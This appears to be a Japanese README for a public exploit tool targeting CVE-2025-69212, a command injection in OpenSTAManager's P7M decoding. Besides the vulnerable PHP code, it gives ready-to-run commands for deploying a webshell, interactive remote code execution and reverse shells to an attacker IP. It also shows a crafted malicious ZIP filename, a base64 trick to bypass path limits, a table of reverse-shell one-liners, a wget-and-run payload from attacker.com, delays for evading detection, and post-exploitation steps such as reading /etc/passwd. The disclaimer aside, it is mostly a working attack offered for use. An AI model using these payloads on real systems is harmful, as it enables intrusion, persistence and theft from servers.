
OpenSTAManager v2.9.8以前のバージョンには、P7M(署名付きXML)ファイルのデコード機能に深刻なOSコマンドインジェクションの脆弱性が存在します。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2025-69212 |
| 重要度 | CRITICAL (CVSS 4.0: 9.4) |
| CWE | CWE-78: OSコマンドインジェクション |
| 影響を受けるバージョン | OpenSTAManager <= 2.9.8 |
| 脆弱性のある関数 | XML::decodeP7M() in src/Util/XML.php |
| 攻撃ベクトル | アップロードされたZIPアーカイブ内の悪意のあるファイル名 |
| 認証 | 必要(請求書インポートアクセス権のある任意のユーザー) |
| 影響 | Webサーバーユーザーとしての完全なリモートコード実行 |
OpenSTAManager v2.9.8およびそれ以前のバージョンには、P7M(署名付きXML)ファイルデコード関数に重大なOSコマンドインジェクションの脆弱性が存在します。src/Util/XML.php内のdecodeP7M()メソッドは、ユーザー制御のファイル名をサニタイズせずにPHPのexec()関数に直接渡すため、認証された攻撃者がサーバー上で任意のシステムコマンドを実行できるようになります。
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
$fileパラメータ(アップロードされたZIPアーカイブ内のファイル名に由来する)は二重引用符で囲まれていますが、escapeshellarg()でサニタイズされていません。攻撃者は二重引用符のコンテキストをエスケープする.p7mファイル名を作成し、任意のシェルコマンドを注入できます。
plugins/importFE_ZIP/actions.php:126 — 電子請求書を含むZIPアップロードを処理する際の主要なベクターplugins/importFE/src/FatturaElettronica.php:56 — 個々の.p7mファイルを処理するコンストラクタ| 機能 | 説明 |
|---|---|
--check | ターゲットが脆弱かどうかを確認(マーカーファイルを作成してチェック) |
--webshell | OSコマンドインジェクションを介してPHPウェブシェルを展開 |
--rce | 展開されたウェブシェルを通じた対話型コマンド実行 |
--reverse-shell | リバースシェルをトリガー(python, nc, nc-e メソッド) |
--cmd | ブラインドコマンド実行(fire-and-forget) |
--shell-dir | カスタムウェブシェル書き込みディレクトリ |
--method | リバースシェルメソッドの選択 |
--proxy | HTTPプロキシサポート(Burp Suite) |
--delay | IDS/WAF回避のためのリクエストスロットリング |
| 自動検出 | importFE_ZIPモジュール/プラグインIDの自動発見 |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# ログイン認証情報を使用
python3 exploit.py -t http://target.com -u admin -p secret --check
# 既存のセッションクッキーを使用
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# プラグインを自動検出して脆弱性を確認
python3 exploit.py -t http://target.com -u admin -p secret --check
# 既知のモジュール/プラグインIDを使用
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# デフォルトディレクトリ(files/)にウェブシェルを展開
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# カスタムディレクトリとファイル名
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# ウェブシェル展開 + 対話型シェル
python3 exploit.py -t http://target.com -u admin -p secret --rce
# 以前の実行で存在するウェブシェルを使用
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Bashリバースシェル(デフォルト、非常に信頼性が高い)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Pythonリバースシェル
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# コマンドを実行(出力は返されない)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# ペイロードをダウンロードして実行
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Burp Suiteプロキシ経由
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# リクエスト遅延(2秒)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# SSL検証をスキップ
python3 exploit.py -t https://target.com -u admin -p secret --check -k
ターゲット:
-t, --target ターゲットのベースURL
認証:
-u, --user ログイン用ユーザー名
-p, --password ログイン用パスワード
-c, --cookie 既存のPHPSESSID値
アクション:
--check ターゲットが脆弱かどうかを確認
--webshell PHPウェブシェルを展開
--rce ウェブシェル経由の対話型シェル
--reverse-shell リバースシェル(LHOST LPORT)
--cmd COMMAND ブラインドコマンド実行
シェルオプション:
--shell-dir DIR ウェブシェル書き込みディレクトリ(デフォルト: files)
--shell-name NAME カスタムウェブシェルファイル名
--method METHOD リバースシェルメソッド: bash, python, nc, nc-e
プラグイン検出:
--module-id ID OpenSTAManagerモジュールID
--plugin-id ID importFE_ZIPプラグインID
ネットワーク:
--proxy URL HTTPプロキシURL
-k, --no-ssl-verify SSL検証を無効化
--delay SECONDS リクエスト間の遅延(秒)
エクスプロイトは、悪意のあるファイル名を持つ単一の.p7mファイルを含むZIPアーカイブを作成します:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
OpenSTAManagerがこのファイルを処理すると、結果のexec()呼び出しは次のようになります:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
シェルはセミコロンをコマンド区切り文字として解釈し、終了したopenssl呼び出しと後続のechoの間で注入されたコマンドを実行します。
重要: PHPの
ZipArchive::extractTo()は、ZIP仕様に従ってファイル名のスラッシュ(/)をディレクトリ区切り文字として扱います。悪意のあるファイル名に/が含まれていると、アーカイブエントリがディレクトリに分割され、エクスプロイトペイロードが破損します。
すべての注入されたコマンドは / を完全に避けなければなりません。この制限を完全に回避し、PHPの exec() がハングするのを防ぐために(サーバーワーカーを占有してタイムアウトを引き起こす可能性があります)、エクスプロイトはペイロードを自動的にBase64でラップし、バックグラウンドで実行します:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
これにより、ZIP構造を壊すことなく、内部ペイロード内で自然に / を使用できます(例: /dev/tcp/10.10.14.5/4444)。
| メソッド | ペイロード | 必要条件 |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat with -e support |
bashメソッドは、Linuxターゲット上で最も信頼性が高くネイティブなメソッドであるため、現在デフォルトとなっています。
importFE_ZIPプラグインを介してZIPをアップロード
└── actions.phpがプラグインハンドラにディスパッチ
└── ZipArchive::extractTo()がファイルを抽出
└── .p7mファイルを反復処理
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── シェルが注入されたコマンドを解釈
1. --check → マーカーファイルでRCEを確認
2. --webshell → files/ディレクトリにPHPシェルをドロップ
3. --rce → 対話型コマンド実行
4. 列挙 → id, cat /etc/passwd, ifconfig
5. ピボット → 攻撃者へのリバースシェル、ポストエクスプロイテーション
このツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。テスト前に必ず適切な許可を取得してください。著者は誤用に対する一切の責任を負いません。